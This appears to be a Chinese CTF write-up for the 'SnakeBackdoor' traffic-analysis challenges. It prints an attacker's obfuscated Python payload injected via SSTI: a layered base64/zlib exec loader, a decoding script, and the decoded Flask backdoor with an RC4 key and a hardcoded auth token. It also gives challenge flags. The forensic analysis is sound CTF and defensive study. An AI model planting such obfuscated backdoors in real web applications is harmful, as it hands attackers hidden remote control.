第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛

第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛

Aristore

时隔一年再次参加国赛初赛,相比去年刚入坑CTF只做了3道签到也算是有点进步吧
以下WP中流量分析的 SnakeBackdoor-5SnakeBackdoor-6 为赛后复现
题目见 CTF-Archives/2025-CCB-CISCN-Quals

流量分析

近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

SnakeBackdoor-1

Challenge

攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}

Solution

CISCN2025Quals-1

筛选 http 流量,倒着看,找到最后一条 /admin/login 的流量,302 跳转了说明密码正确了

FLAG

1
flag{zxcvbnm123}

SnakeBackdoor-2

Challenge

攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么,结果提交形式:flag{xxxxxxxxxx}

Solution

CISCN2025Quals-2

直接搜索 SECRET_KEY

FLAG

1
flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

Challenge

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}

Solution

从第二问得知漏洞利用点在 /admin/preview,是 SSTI 注入preview_content

CISCN2025Quals-3

接着追踪下一条 /admin/preview 的流量就能找到通过漏洞植入的木马

CISCN2025Quals-4

这段 payload 的关键部分如下:

1
import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))

把 exec 改成 print 运行得到:

1
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));\nexec((_)(b'=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'))

继续把 exec 改成 print 运行得到:

1
exec((_)(b'=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'))

看起来是递归加密,编写脚本批量解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64
import zlib
import re

code = """
exec((_)(b'=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'))
"""

# 单层的解密逻辑
def decrypt_(encrypted_b64_data):
try:
return zlib.decompress(base64.b64decode(encrypted_b64_data[::-1])).decode('utf-8')
except Exception as e:
return None

# 递归解密
def decrypt(code):
current = code
layer = 0

while True:
match = re.search(r"b'([^']+)'", current)
if match:
layer += 1
payload = match.group(1)
next_layer = decrypt_(payload.encode('utf-8'))
if next_layer:
current = next_layer
else:
break
else:
break

return current

print(decrypt(code))

运行解密得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
